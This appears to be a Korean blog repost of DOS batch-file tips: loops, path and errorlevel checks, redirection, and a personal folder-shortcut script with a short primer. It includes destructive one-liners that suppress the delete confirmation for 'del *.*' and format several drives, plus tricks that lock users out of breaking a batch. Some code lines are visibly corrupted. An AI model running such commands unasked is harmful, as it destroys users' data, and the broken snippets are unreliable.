2.  모 든 파일을 지우기
=====================
가장 흔하게 질문되는 것(FAQ) 중의 하나는 del *.*  을  사용껦 때,"Are you sure (Y/N)?" 라는 확인을 어떻게 하면 나타나지 않게 하는것 이다. 다음과 같이 사용한다.
 echo y| del *.*
화면에 나타나는 메세지도 보이지 않게 하려면 다음과 같 이 한다.
 echo y| del *.* > nul
이러한 확인 절차를 표시하지 않게 하는 것은 토론의 여지가 많 지만,위와 같이 사용할 수 있다.

3.  다 중 반복
============
배치파일에서 다중 루프(반복)를 사용하는 것이 가능 하다. 다음의 두배치파일을 생각해 보자. 그리고 test.bat을 불러 실행시켜 보자.
  echo off
  rem TEST.BAT
  for %%f in (a b c d e f) do %comspec% /c test2 %%f

  echo off
  rem TEST2.BAT
  for %%g in (1 2 3) do echo %1%%g
아 니면 한줄로 다음과 같이 써서 사용할 수도 있다.
  for %%f in(a b c d e f) do %comspec% /c for %%g in (1 2 3)  do echo %%f%%g
 이 두번째 방법의 단점은 echo가  화면에 표시된다는 것이다.

4.  디 렉토리가 존재하는지 확인하는 방법
======================================
디 렉토리가 있는지 확인하는 것은 가끔 매우 쓸모있는 일이다.  %1의 디렉토리가 없다면 다음 확인은 참이 될것이다.
 if not exist %1nul if not exiat %1nul echo Directory  %1  does not exist

5.  프 로그램을 현디렉토리나 경로에서 사용할 수 있는지 확인하기
=============================================================
배 치 프로그램에서 프로그램을 불러서 사용할때, 그 파일에 대한  경로를 써주지 않았을 경우, 그 프로그램이 현재의 디렉토리나  경로 에서 사용가능한지 확인할 때 도움이 될 것이다.
  set _found=
  if exist %1 set _found=yes
  for %%d in (%path%) do if exist %%d%1 set _found=yes
  for %%d in (%path%) do if exist %%d%1 set _found=yes
  if "%_found%"=="yes" goto _continue
  echo %1 is not at path or the current directory
  goto _out
  :_continue
  echo %1 found at path or in the current directory
  :_out

6.  배 치파일에서 서브루틴이나 재귀적방법을 사용하기
==================================================
배 치파일 안에서 서브루틴을 사용하는 것은 가능하다. 방법은 서브루틴이 실행된  뒤에  돌아가야할  곳을  가르키는  환경변수(예를들 면_return)를 설정하는 것이다. 이런 예는 UNPACK.BAT 이나 BOOT.BAT의:_common 과 :_subru 부분에 서 찾아 볼 수 있다.
마찬가지로 재귀적인 사용이 가능하다. ("재귀적인  방법"의  의미는 한  배치파일이  자기  자신을  불러  사용하는  것이다.)  이  예는 SAFEDEL.BAT에서 아래의 행을 따라 찾아 보면 된다.
 for %%f in (%1) do call safedel %%f recurse
배 치파일의 0번째 인수(%0)는 배치파일 자신을 나타내므로,  safedel은 %0으로 대치 되어 사용할 수도 있다.

7.  매 개 인수(parameter)를 대문자로 바꾸기.
=========================================
다 음은 배치파일에 사용한 인수 %1 를 대문자로 바꾸어 주는  예제이다. 이는 MsDos는 path를 대문자로 바꾼다는 점을 이용 한 것이다. 결과는 upcase_에 저장될 것이고, 원래의 경로가 다시 저장될 것이다.
  set tmp_=%path%
  path=%1
  set upcase_=%path%
  path=%tmp_%

8.  새 로운 디렉토리를 경로에 붙이기
==================================
자 주 필요한 이 기술은 매우 간단하다. 예를 들어 %1를 경로에  덧붙이려면
 path=%path%;%1
이라고 하면된 다.
이 기술은 배치파일 안에서만 사용할 수 있다. 배치파일 안에서만 환경변수(%path%)를 사용할 수 있기 때문이다. 존재하지 않는 디렉토리를 덧붙이려한다거나 중복해서 경로를 덧붙이는 것을 방지하는 ADDPATH.BAT이라는 배치파일이 있다.

9.  두 파 일을 비교하기
=====================
배치파일에서 두 파일이 같은지 아 닌지 확인해 볼 수 있다. 이  기술은 MsDos의 외부 명령어인 fc.exe와 find.exe를 사용한다. (외부  명령어라 는 뜻은 MsDos와 같이 있는 프로그램들이다. 대부분의 외부 명
령어용 프로그램들은 c:dos 에 위치한다.)
  fc %1 %2 > tmp$$$
  type tmp$$$ | find  /i  "fc:  no  differences  encountered"  >diffe$$$
  if exist notsame$ del notsame$$$
  copy diffe$$$ notsame$ > nul
  if not exist notsame$ echo Files %1 and %2 are different
  if exist notsame$ echo Files %1 and %2 are identical
  if exist tmp$$$ del tmp$$$
  if exist notsame$ del notsame$
  if exist diffe$$$ del diffe$$$
좀 더 생각하면 이 기 은 다른 목적에도 사용할 수 있다. 이는  파일안에 주어진 문자열이 있는지 확인 하는데 바탕을 두고 있기  때문이다.

10.  빈 줄을 쓰기
===============
이는 간단하지만 종종 필요하고 유용한 기술이 다. echo 바로  다음에점(.)을 찍으면 빈줄을 표시할 수 있다.
  echo.

11.  pause 를 이용해 메세지를 표시하기
====================================
메 세지를 손쉽게 나타나게 할 수 있다. 메세지를 echo한 다음  pause 를 사용하는데, pause의 메세지를 nul로 보내면 된다.
 echo Break to quit, any other key to remove the tmp directory
 pause > nul

12. for 를 이용한 다양한 rename 기술
===================================
이 기 술이 기본적이고 사소하지만, 이를 생각해 내기란 쉽지 않을 것이다. for 문은 파일의 이름을 바꾸는데 특별히 유용하다.  예 를  들면, 내가 다음의 파일들을 가지고 있을 때, (터보  파스칼  TP  4.0,
5.0, 5.5, 6.0) 내가 버 전 29를 30으로 바꾸기 원한다고 할때,
  tspa2940.zip
  tspa2950.zip
  tspa2955.zip
  tspa2960.zip
다 음은 손쉽게 그런 일을 해준다.
 for %f in (40 50 55 60) do re tspa29%f.zip tspa30%f.zip
물 론 파일이름 바꾸는 일 말고도 이 기 로 다양한 일을 할 수 있다.
하나의 예는 다음과 같다.
  for %d in (a b) do format %d:

13.  와 일드카드를 확인하기
=========================
이 예제는 인수 %1이 와 일드 카드를 사용하고 있는지 아닌지  확인한다.
  @echo off
  for %%f in (%1) do if "%%f"=="%1" goto _nowilds
  echo Parameter %1 contains wildcards (or is missing)
  :_nowilds

14.  배 치 작업을 중간에 그만두지 못하게 하기
===========================================
ctty 명 령어를 사용해서 입력장치나 출력장치를 새로 설정하여  배치파일을 중단시키는 것을 방지할 수 있다. 여기의 예제는  패스워드로 e를 넣어야 하는 간단한 배치파일이다. 
ctty가  nul로  돌려진  동안<,>의 리디렉션이 필요한 것을 눈여 겨 보라. ask라는 배치파일을  돕
기 위한 프로그램은 같이 포함되어 있다. ( MsDos의 choice와 비슷하 다. 단, 에러 레벨을 입력한 문자의 아스키 값으로 돌리는 것만 틀리다.)
  @echo off
  ctty nul
  echo Now you cannot break the batch with ^C or ^Break > con
  :_ask
  echo Use e to break > con
  ask /b /d < con
  if errorlevel==101 if not errorlevel==102 goto _out
  goto _ask
  :_out
  ctty con
  echo Back to normal. Now you can break the batch  with  ^C  or
^Break.
이 배 치파일이 작동되고 있는 동안에는 alt-crtl-del로  다시 부팅할수도 없다. 이 같은 일을 하는 noboot.exe라는 램상 주 프로그램도 있다.

15.  autoexec.bat 를 중지하고 건너뛰는 것을 방지하기
==================================================
브 레이크를 눌러 autoexec.bat를 건너 뛰어 지나치지 않게 하기 위해서 다음과 같이 config.sys에 쓰면 된다.
  shell=c:command.com /p nul
이 렇게 하기 전에 만일의 경우를 대비해서 플로피 디스켓으로 부팅할준비를  해둔다. autoexec.bat 맨 뒷줄 에 'ctty con'이라고 덧  붙여야 된다. 그렇게 하지 않으면 키보드가 말을 듣지 않을 것이고, 준비한 플로피 디스켓으로 부 팅해야 할 것이다 :-).

16.  확 장자를 인식하기
=====================
단지 확장자를 확인하려던가, 주어 진 파일의 이름에서 확장자를 환경변수로 저장하려고 할때, 이 것은 매우 유용하다. 어떻게 하는지  여기에 있다. 이 배치파일 은 PC-Magazine July 1992, Vol 11, No.  13,
page 528에 나온  정보를 이용한 것이 다. for 루프에서  슬레시(/)로 시작하는 인수는 두 부분으로 나누어지는데, 처음 부분은 인수의  첫문자이고 다른 부분은 나머지 문자열이다.
이 해결방법에 서 하나의 문제점은 .* 이라던가 .???  이란  확장자를 인식하지 못하는 것이다. 그러나 "와일드카드를 확인하기"를  이용해서 확인하면 될 것이다. 이러한 기술을 이용한 것중 에  UNPACK.BAT라
는 배치파일이 있다.
     @echo off
     set exten_=%1
     :_next
     set prev_=%exten_%
     for %%f in (/%exten_%) do set exten_=%%f
     if ".%exten_%"=="%prev_%" goto _extfound
     if not "%exten_%"=="%prev_%" goto _next
     goto _noext
     :_extfound
     echo The filename %1 has an extension %exten_%
     goto _out
     :_noext
     echo The filename %1 has no extension
     :_out
     set exten_=
     set prev_=

17.  % 문 자 인용부호
===================

%1은 배치파일에 주어진 첫번째 인수를 가르킨 다. 이처럼 'echo  %1'이라고 하면 첫번째 인수를 표시해 준다. 대신에 %1라는 문자를 표시하고 싶은 경우 어떻게 해야하는 가?  % 문자는 인용부호처럼  행동한다. 그래서 %%1이라고 쓴 경우 실제로는 "%1"이라고  화면에  표시된다. 아래의 간단 한 연습을 실행해보라.
  @echo off
  if "%1"=="" goto _out
  echo %1
  echo %%1
  :_out
이 기 능을 이용한 것은 "배치의 보조 배치파일을 없애기"를  보아라.
좋은 예로는 DELPATH.BAT가 있다.

18.  배 치의 보조 배치파일을 없애기
=================================
많 은 배치 프로그램이 call을 사용해서 보조 배치파일을  불러다  쓴다. 많은 경우 이런 일을 재귀적인 사용을 통해 자기 자신 을  불러다씀으로써  보조 파일을 사용하는 것을 줄일 수 있다. 보조코드는  배치파일 자기자신에 넣어 놓는다. 이러한 기술은 와일 드 카드를  받아들이는 TYPE 같은 SHOW.BAT 에서 가장 잘 나타나 있다. 일반적으로는 개개의 파일을 type하기 위해서  보조파일이  필요하다.  다른  예는
SAFEDEL.BAT에서 찾아볼수있다.
이 와 같은 일을 하기 위한 다른 기술이 있다. 원래의 배치파일이  보조 배치파일을 만든 다음 그것을 불러 사용하는 것이다. 이런 것 으로는 DELPATH.BAT의 예를 들 수 있다. 여기에는  사용되는  드라이브를
보여주는 간단한 예가 있다. (c 부 터 t 까지 가능하다. 여기  더 쓰면 줄이 넘어가니까!)
 @echo off
 echo @echo off> tmp$$$.bat
 echo if exist %%1:nul echo Drive %%1: is present>> tmp$$$.bat
 for %%d in (c d e f g h i j k l m n o p q r s t) do call tmp$$$
%%d
 del tmp$$$.bat
디 스크의 볼륨  레이블을  찾아내는  창의적인  기교가  PC-Magazine August 1992, Vol. 11, No. 14, p. 527에 실렸다. 여기는 같은  기술을 사용하는  예가 있다. 환경변 수 getdir_에 현재의 디렉토리를  저장한다. 이 기술은 PUSHDIRE.BAT에 사용되고 있다.
  @echo off
  echo @echo off> director.bat
  echo set getdir_=%%2>> director.bat
  echo echo %%getdir_%%>> director.bat
  dir | find "Directory"> go.bat
  call go
  if exist director.bat del director.bat
  if exist go.bat del go.bat

19.  subst 명 령어를 경로에 사용하기
==================================
어떤 디렉 토리를 읽기 쉽게 하기 위해서 간단한  배치파일을  사용한다. 만약 subst 가 이미 설정되어서 생길 수 있는 에러를  방지한 다. 그리고 마지막으로 현재 대치된 디렉토리의 현황을 보여준다.
  @echo off
  if exist m:nul echo The substitution has already been made
  if not exist m:nul subst m: c:math
  if not exist s:nul subst s: c:support
  subst

20.  일 주일에 한번 실행하기. (요일을 확인하기)
=============================================
요 일을  환경변수에  넣는  것은  어려운  기술이다.  완전한   예는 WEEKLY.BAT에서 찾아볼수 있다. 이 기술의 핵심은 아래에 나와  있는데, 요일을 weekday_라는 환경변수에 저장하는 것 이다. 일반 도스 프로그램 외에 아무런 보조 프로그램이 필요없다.
  @echo off
  echo.| date | find "Current" > tmp$$$.bat
  echo set weekday_=%%3> current.bat
  call tmp$$$
  echo %weekday_%
  if "%weekday_%"=="Fri" echo Thank God it's Friday
  if exist tmp$$$.bat del tmp$$$.bat
  if exist current.bat del current.bat
  set weekday_=
사 실, 위에서 %%3 대신에 %%4를 사용하면 오늘의 날짜를  확인할  수 있다.

21.  파 일이름에 경로가 포함되었는지 확인하기
===========================================
우 선 먼저 "확장자를 인식하기"를 보면 같은 아이디어인 것을 알  수 있다. 파일이름이 단순히 go.exe 로 이루어 졌는지,  아니면  경로를 포함해서 r:progsgo.exe와  같이  이루어  졌는지  확인하는  것은 r:progs*.exe와 같이 확장자를 사용했다면 매우 복잡한 일이다. 여기서 어떻게 되는지 설명하였다. 이를 완전히 이해했다 면 확실히  배치 파일들에 대해서 이해하기 시작했다고 말할 수 있을 것이다.
  @echo off
  echo @echo off> tmp$$$.bat
  echo set rest_=%%1>> tmp$$$.bat
  echo :_next>> tmp$$$.bat
  echo set prev_=%%rest_%%>> tmp$$$.bat
  echo for %%%%g in (/%%rest_%%) do set rest_=%%%%g>> tmp$$$.bat
  echo if ":%%rest_%%"=="%%prev_%%" goto _found>> tmp$$$.bat
  echo if "%%rest_%%"=="%%prev_%%" goto _found>> tmp$$$.bat
  echo if not "%%rest_%%"=="%%prev_%%" goto _next>> tmp$$$.bat
  echo goto _nopath>> tmp$$$.bat
  echo :_found>> tmp$$              at
  echo set haspath_=yes>> tmp$$$.bat
  echo goto _out>> tmp$$$.bat
  echo :_nopath>> tmp$$$.bat
  echo set haspath_=no>> tmp$$$.bat
  echo :_out>> tmp$$$.bat
  echo set rest_=>> tmp$$$.bat
  echo set prev_=>> tmp$$$.bat
  for %%f in (%1) do call tmp$$$ %%f
  if "%haspath_%"=="yes" echo Filename %1 includes a path
  if "%haspath_%"=="no" echo Filename %1 does not include a path
  rem if exist tmp$$$.bat del tmp$$$.bat
  set haspath_=

22.  엔 터키를 누르지 않고 시간을 보기
====================================
현 재의 시간을 보는 간단한 기술은 다음과 같다.
  echo.| time | find /v "new"
시간을 환경변수 로 저장하는 방법은 LASTBOOT.BAT을 보아라.

23. 에 러레벨 값을 확인하는 다른 방법
====================================
많 은 프로그램과 몇개의 도스명령어들( diskcomp, format,  xcopy)은끝날 때 에러 레벨을 발생시킨다. 에러레벨의 누 적적인 성질  때문에 에러 레벨을 확인하는 것은 다소 복잡해진다. 그래서 만약  에러레벨이 정확히 2인지 확인하기 위해서는 다음과 같이 한다.
 if errorlevel==2 if not errorlevel==3 echo Errorlevel 2
for 명 령어를 사용하는 다른 방법으로 다음을 들수 있다.
 for %%e in (0 1 2  3  4  5  6  7)  do  if  errorlevel==%%e  set
_errlev=%%e
 if "%_errlev%"=="2" echo Errorlevel 2
좀 더 일 반적으로 다음과 같이 할 수 있다.
 for %%e in (0 1 2  3  4  5  6  7)  do  if  errorlevel==%%e  set
_errlev=%%e
 if "%_errlev%"=="2" echo Errorlevel %_errlev%
복 잡한 배치파일에서 편리한 방법은 goto를 사용하는 것이다.
  for %%e in (0 1 2) do if errorlevel==%%e goto _label%%e
  goto _out
  :_label0
  echo Errorlevel 0
  :_label1
  echo Errorlevel 1
  :_label2
  echo Errorlevel 2
  :_out
이 기 을 실제로 사용하는 예는 BOOT.BAT에서 찾아볼수 있다.

24.  배 치파일의 출력을 리디렉션(redirection)하기
===============================================
배 치파일 안에서의 출력은 손 쉽게 재 방향전환(redirecion)할 수 있다. 다음과 같은 example.bat 이라는 배치파일 을 생각해보자.
  @echo This is a redirection test> test
"example"를 실행 시키면 아래의 문장을 담은 "test"라는 파일을 생성 할 것이다.
  This is a redirection test
이 줄 은 eoln(end of line: ascii 13 + 10)을 줄 끝에  포함하고  있다. 리디렉션 기호 '>' 앞에 아무 런 공백도 주지 않는  것이  현명할때가 있다.
배치파일이 만드는 출력을 다시 재 방향전환(redirection)하는  것은 다소 복잡하다. 다음과 같은 내용을 지닌 example2.bat을 생각해  보자.
  @echo This is another redirection test
실 행하면,
  example2 > test
출력은 화면에 나오고, 빈 test라는 파일이 생성될  것이다.  출력을 재 방향 전환 시키기 위해서는 다음과 같이 command.com 명령어 해석기를 통해서 배치파일을 실행해야 한다. ( command.com은  현디렉토리나 경로에 있어야 한다.)
  command /c example2 > test
이 와 같이 하면 내용이 "test"라는 파일에 담길 것이다.

25.  환 경저장 공간이 충분한지 확인하기
=====================================
만 약 배치파일이 환경저장 변수를 사용하면, 환경저장 공간이 부족할경우가 있다. 만약 "Out of environment space" 라는 메세지를 받는다
면 잘 알려진 방법을 통해서 다음과 같이 config.sys 의 shell을  설정해서 환경저장 공간 을 늘릴 수 있다.
  shell=c:bincommand.com c:bin /e:1024 /p
이 보다 덜 알려진 기 로는 환경저장 공간이 모자라기 전에 미리 확인해 볼수 있다. 아래의 예는 32바이트의 환경이 남아 있는지 확인한다.
 @echo off
 set test_=12345678901234567890123456789012
 if "%test_%"=="12345678901234567890123456789012" goto _yes
 echo Insufficient environment space
 goto _out
 :_yes
 echo Sufficient environment space
 set test_=
 rem Whatever you wish to do
 :_out

26.  드 라이브를 사용 못하게 하는 간단한 방법
===========================================
임 시로 드라이브를 사용하지 못하게 하려면, subst명령어를 사용하면 된다. 예는 아래와 같다.
  @echo off
  md c:none
  subst d: c:none
다 시 사용하게 하려면,
  @echo off
  subst d: /d
  rd c:none

27. 프 린터에 escape 명령어를 보내기
===================================
여 기 정말  사소한  기술이  있다.  명령행에서  곧바로  프린터에게 escape sequence를 보낼 수 없다. 그러나 다음과 같은 배치파일을 이용하면 간단하다.
  @echo ESC%1> prn
ESC 는 진짜 escape문자로 에디터로 쓰여져야 된다. 이 방법의 한가지 결점은 라인피드를 보내는 것이다.

28.  무 작위 문자열을 만든는 방법
===============================
UseNet news 에서 무작위 문자열을 만드는 방법을 물어보는 사람이 있었다.  대답은 다음과 같다. 이를 확장해서 공부해보기 바란다.
  @echo off
  echo 10 randomize(val(mid$(time$,7,2))) > tmp.bas
  echo 20 open "tmp2.bat" for output as #1 >> tmp.bas
  echo 30 x$ = mid$(str$(int(rnd*10000)),2) >> tmp.bas
  echo 40 print #1,"@set ramdom_=";x$ >> tmp.bas
  echo 50 close #2 >> tmp.bas
  echo 60 system >> tmp.bas
  gwbasic tmp.bas
  call tmp2
  del tmp.bas
  del tmp2.bat
  set

29.  문 자열의 길이를 알아내기
============================
문자열의 길이를 찾아 내는 일은 PC Magazine January 26, 1993 issue 에 실렸다. 여기서 제안하는 방법은 PC 메거진의 방법과  근본적으로 같지만, 더 일반적이다.
  @echo off
  set test_=Testing the lenght of a string
  echo %test_% > len$&$&$
  dir len$&$&$ | find "LEN$&$&$" > go$$$.bat
  echo @echo off> len$&$&$.bat
  echo set length_=%%                 len$&$&$.bat
  call go$$$
  echo The lenght is %length_% bytes
  del len$&$&$
  del len$&$&$.bat
  del go$$$.bat

30.  MsDos 의 버전을 환경변수로 저장하기
======================================
ADJCURS.BAT 을 보면 알겠지만, 배치파일로만 버전을 알아낼  수있다.
여기에 다른 방법이 있다.
  @echo off
  ver > go$$$.bat
  echo @echo off> ms-dos.bat
  echo set version_=%%2>> ms-dos.bat
  call go$$$
  echo Your MsDos version is %version_%
  del go$$$.bat
  del ms-dos.bat    
  bullet_22_1.gif

출처 : http://surewin.kr/xp/2795

Posted by 노을지기

댓글을 달아 주세요


< Tip by abyul.com
 > ------------------------ 배 치파일을 이용하여 특정 폴더 쉽게 열기 ----------------------------------------------------

#방법1
하 나의 배치파일을 만들어서 변수를 이용해서 특정 폴더를 열고 싶을때.. 아래의 #방법2보다유지보수가 간편하다. ㅋ

일 단.. o.bat를 하나 만들고 메모장에서 오픈한 다음 아래 명령어들을 입력한다.
REM 이 배치 파일은 아별닷컴(http://abyul.com)의 주인장 오주원(abyul@paran.com)에 의해서 만들어졋습니다.
REM 폴더 경로 쉽게 접근하기 Version 0.1

REM 변수가 없으면 바로 종료
if "%1" == "" goto end

REM 재무팀 공유폴더 열기
if "%1" == "fn" %SystemRoot%\explorer.exe "
\\data \재무팀"
if "%1" == "woan" %SystemRoot%\explorer.exe "
\\data \재무팀"

REM 매출표 관리 폴더 열기
if "%1" == "aocnf" %SystemRoot%\explorer.exe "
\\data\cowork\sales\매출표\2007"
if "%1" == "coa" %SystemRoot%\explorer.exe "
\\data\재무팀\COA_수정금지함"
if "%1" == "cornjs" %SystemRoot%\explorer.exe "
\\data \재무팀\매출 일별\2007"
if "%1" == "dlstk" %SystemRoot%\explorer.exe "D:\_SystemFolders\내문서\_업무서류\__ ■ 인사"
if "%1" == "dnjsrk" %SystemRoot%\explorer.exe "D:\_SystemFolders\내문서\_업무서류\__ ■ 원가관리\2007원가계산 ■"
if "%1" == "ghksdbf" %SystemRoot%\explorer.exe "
\\data\재무팀\환율관리"
if "%1" == "rnrcor" %SystemRoot%\explorer.exe "D:\_SystemFolders\내문서\_업무서류\__ ■ 국책과제\1)국가과제종합"
if "%1" == "roqkfql" %SystemRoot%\explorer.exe "D:\_SystemFolders\내문서\_업무서류\__ ■ 개발비\■ 총괄정리 by 오주원"
if "%1" == "rPdirtj" %SystemRoot%\explorer.exe "
\\data \재무팀\문헌관리 (계약서등)"
if "%1" == "thsdlr" %SystemRoot%\explorer.exe "D:\_SystemFolders\내문서\_업무서류\__ ■ 손익"
if "%1" == "wnthfhr" D:\_SystemFolders\내문서\_업무서류\_연락처\코아로직임직원연락망.xls
if "%1" == "경로" %SystemRoot%\explorer.exe "D:\_SystemFolders\_batch"
if "%1" == "votm" %SystemRoot%\explorer.exe "D:\_SystemFolders\_batch"
if "%1" == "rudfh" %SystemRoot%\explorer.exe "D:\_SystemFolders\_batch"
if "%1" == "qocl" %SystemRoot%\explorer.exe "D:\_SystemFolders\_batch"
if "%1" == "batch" %SystemRoot%\explorer.exe "D:\_SystemFolders\_batch"
:end

머.. 사용방법은 간단하다. Win+R키를 눌러 실행창을 띄우고, o 변수명을 입력해주면 변수에 해당하는 폴더가 오픈된다.
o fn이라고 입력하면 재무팀 공유폴더를 오픈하는 식이다. 위 명령에서 보면 %1은 배치명을 호출할 때 사용한 첫번째 변수를 말한다.
o fn이라고 했다면 fn을 말하는 것이다. 배치명을 사용할때는 10개까지 변수 지정이 가능하다. %0 ~ %9


=====================================================================================


나 중에 조건문을 추가하여 좀 더 효율적으로 만들어보자.. 나~중에.. ㅋㅋ
    IF EXIST D:\_Systemfolders\_batch\ (
         %SystemRoot%\explorer.exe "D:\_SystemFolders\_batch"
         )
     ELSE (
         ECHO 에라! 그런 폴더 없듬. =_=+
         EXIT
         )

if exist E:\TEST\ (
  echo OK! 그런 디렉토리가 있습니다
) else (
  echo 에러, 그런 디렉토리는 없음
)


=====================================================================================

출 처 : http://mwultong.blogspot.com/2006/11/dos-if-else-bat.html


@echo off
setlocal

set foo=test.txt

if exist %foo% (
  echo %foo% 라는 파일이 존재하는군요
) else (
  echo %foo% 라는 파일이 없군요
)


IF ELSE 문에 대한 도움말은 도스창(명령 프롬프트;cmd.exe)에서,
if /?
라고 입력하면 출력됩니다.

=====================================================================================

# 방법2 (예전 방법)
      자주 가는 폴더를 열때, 간단히 단축키로 만들어 보자.
      메모 장을 열고, 아래와 같이 입력해주자.
            %SystemRoot%explorer.exe "D:_SystemFolders내문서_업무서류__ ■ ERP▲ DynamicQuery"
      그런 다음, ed.bat 처럼 단순한 이름으로 시스템 폴더(C:WINDOWSsystem32)에 저장한다.
(시 스템폴더에 file이 너무 많아 관리가 힘들다면 폴더를 새로 만들고, 시스템 환경변수의 path에 해당 경로를 등록해주면 된다.
 윈 도우 탐색기 띄우고, 내컴퓨터의 등록정보창을 띄우고, 고급탭에서 환경변수 버튼 클릭, 시스템 변수 중의 Path에 경로 추가
 본 인의 경우는 ;D:\_SystemFolders\_batch 경로를 추가해줬음.)

      그러면 실행창을 띄우고(Win+R) 단순히 ed만 치고 엔터를 치면 해당 폴더가 열린다.

      본인은 아래와 같은 약어로 파일 이름을 작성한다. 참고.. ㅎㅎ
            ed : erp dynamic query
            ar : erp Account receivable
            cs : cash (자금현황)

참고. 엑셀 파일 바로 열기
"C:Program FilesMicrosoft OfficeOFFICE11EXCEL.EXE" "C:ChangeFileName.xls"



-------------------------------------------------- < 이하 퍼온 자료 > ----------------------------------------------------------------------------------------

자 료출처 : http://blog.empas.com/comoff/23024214

 
Batch 파일
 
도 스에는 명령어를 일괄적으로 처리하기위한 배치파일이라는 것이 있습니다.
대부분의 사람들은 배치파일이 도스환경을 쉽게 만든다는 사실을 과소평가하는데, 컴퓨터를 좀더 쉽게 사용하고 싶다면 배치파일을 꼭 짚고 넘어가는것이 좋습니다.

배치파일이란 ?
컴퓨터의 동작 상태를 살펴 보면 항상 사용자와의 상호작용에 의하여 작업이이루어진다는것을 알 수 있습니다.  도스라는 운영체제도 사용자가 명령을 입력하면 그 명령에 대해 도스가 분석하여 사용자가 원하는 실행 결과를 제공합니다.
따라서 사용자는 항상 도스 프롬프트 상에서 일일이 키보드를 이용한 타이핑으로 명령을 내려야 하고, 하나의 명령이 내려지면 완료될 때까지 다음 명령을 내릴수가 없습니다. 작업 과정이 얼마되지 않는다면 큰 상관이 없으나 그 과정이 매우 길고 복잡하다면 사용자는 지루함을 느끼게 됩니다. 또한 비록 짧은 작업과정이라도 컴퓨터를 켤때마다 매번 똑같은 과정을 일일이 지시하는 것도 귀찮을 것입니다.
이러한 경우 배치 파일은 가장 확실한 해결책입니다.

배치파일의 기능은 순차적이고 반복된 동일한 작업 과정을 몇개의 혹은 수십, 수백 개의 연관된 명령어를 하나의 파일로 집약하여 그 하나의 파일(배치파일)만 실행함으로써 원하는 작업 과정을 수행하는것입니다.배치파일에 붙는 확장자는 .bat(batch 의 약어) 입니다.도스에서 실행이 가능하기 때문에 .com, .exe 확장자가 붙는 외부 명령어와 함께 실행 가능한 파일로 분류됩니다.차이가 있다면 .com, .exe 명령어는 컴퓨터만 해석 가능한 기계어 코드로 구성되어 있는반면, 배치 파일은 사람이 알아볼수 있는 일반 텍스트로 이루어져있다는 것입니다.

그래서 사용자들은 문서작성에 이용하는 워드프로세서나 텍스트에디터 등을 이용해 배치 파일을 작성할 수 있습니다. 그러나 워드프로세서는 덩치가 크고 원래 목적이 편집과 출력을 위해 만들어진 것이므로 단순한 배치 파일을 작성하는 데는 권하고 싶지 않습니다.

저장할때도 워드프로세서 고유의 포맷(예" .hwp 확장자를 가지는 아래아한글 데이터 파일)으로 저장하면 인식이 되지 않으므로 아스키 파일로 저장해야 합니다.가장 편리한 방법은 일반 문서 에디터( 도스의 Edit, Q에디터,U에디터 등)를 이용하거나 도스의 'Copy Con' 명령으로 배치 파일을 만드는 것입니다.다음과 같이 'Copy con 파일명' 형식으로 입력하고 엔터를 누르면 도스 프롬프트 상태에서 편집할 수 있는 상태가 됩니다.
-------------------------------
C:Bats> copy con Timedate.bat
cls
time
date
^Z

   1 File(s) copied
-------------------------------
여기서 쓰고 싶은 대로 적기만 하면 됩니다.제일 마지막행의 ^Z 는 파일의 제일 마지막 부분이라는 것을 도스에게 알려주는 코드로 <  Ctrl + Z > 키 또는 F6 키를 누르면 됩니다. 그리고 엔터키를 한번더 누르면 '1 File(s) copied' 라는 메세지가 출력되는데, 이는 방금 ' copy con 파일명 ' 으로 작성된 문서파일이 성공적으로 만들어졌다는 뜻입니다.위의 문서파일은 확장자가 .BAT 로 붙었기 때문에 실행가능한 외부 명령어가 되는데, 배치파일은 명령이 기록되어 있는 순서대로 실행되기 때문에 timedate.bat 를 실행시키면 먼저 화면을 지우고 난뒤 시스템의 시간과 날짜를 설정합니다.간단한 배치파일은 'copy con 파일명' 으로 작성하는 것이 다른 프로그램의 도움없이 쉽고 빠르게 처리할 수 있습니다. 하지만 배치파일이 조금 길거나 작성중에 수시로 편집할 일이 생기는 경우에는 불가능합니다. 'copy con 파일명' 으로 파일을 작성하면 행으로 다시돌아갈 수 없을 뿐 아니라 수정이 불가능하기 때문입니다. 그러므로 배치파일을 만들 필요가 있을때는 문서 에디터를 이용하는 것이 좋습니다.

▶  
배치파일 작성 명령어 9인방

배치 파일은 파일 안에 기록되어 있는 명령의 순서대로 실행됩니다.가장 대표적인 것이 부팅에 이용되며, 컴퓨터의 루트 디렉토리에 위치하고 있는 Autoexec.bat 파일입니다. 그런데 만약 배치 파일의 실행의 순서를 순차적이 아닌멀티부팅용 Autoexec.bat 처럼 사용자 마음대로 정하고 싶다면 배치파일에 제공되는배치명령어의 용도를 알고 있어야 합니다.


1. CALL


현 재 실행중인 배치 파일을 종료하지 않고 필요한 다른 배치파일을 호출하여 실행한 다음 원래의 배치파일로  다시 돌아오려고 할 때 사용됩니다.

◇ 사용법 : Call [drive:][경로]<배치파일명>[.BAT]

◇ 예  :  Call c:batssample.bat

어떤 배치 파일을 실행하는 도중에 경로 C:bats 에 있는  sample.bat 파일을 실행한 다음 다시 원래의 배치파일로 돌아옵니다.


2. CHOICE

배치 프로그램 내에서 사용자의 선택을 묻기 위해 사용됩니다. 배치 파일 제작자가 설정한 물음을 출력하면서 지정된 키 입력을 기다립니다. 이 명령은 배치파일 내에서만 사용 가능합니다.

◇ 사용법 :choice [/C[:]문자열][/N][/S][/T[:]기본키,대기시간][메세지]

◇ 옵션

- /C[:]문자열  : 사용자가 선택할 수 있는 키목록을 [] 괄호 내에 ', ' 로 구분하여 출력하고  /C 스위치를 사용하지 않으면 기본적으로  YN이 사용됩니다.

- /N : 프롬프트를 출력하지 않도록 합니다.

- /S : 사용자의 입력에서 소문자, 대문자를 구분하도록 합니다.

- /T[:]기본키, 대기시간 : 기본키를 지정한 후 대기시간 동안 사용자의 키 입력이 없으면  자동적으로 기본키가 입력된 것으로 간주하고 진행됩니다. 지정 가능한 대기시간은 초단위이며 0에서 99 사이의 값입니다.

- 메세지 : 화면에 출력될 메세지를 지정합니다.

◇ 예 : choice /c:abCD /s /t : C, 5 다음중에서 하나를 선택하십시오 a, b, C, D
◇ 설명 : 입력 가능한 키를 a,b,C,D로 한정하며 사용자로부터 입력되는 영문자의 대,소문자를 구분하는데, 만약 5초 내에 사용자로부터 키 입력이 없다면 C 가 입력된 것으로 간주합니다. 그리고 화면에는
'다음중에서 하나를 선택하십시오 a, b, C, D[a,b,C,D]? '
라는 메세지가 출력됩니다.


3. ECHO

배 치파일 실행중에 명령어를 화면에 표시할 것인지의 여부를 설정하며, 그 상태를 표시합니다. 한편 ECHO 명령 뒤에 오는 메세지는 화면에 나타납니다.

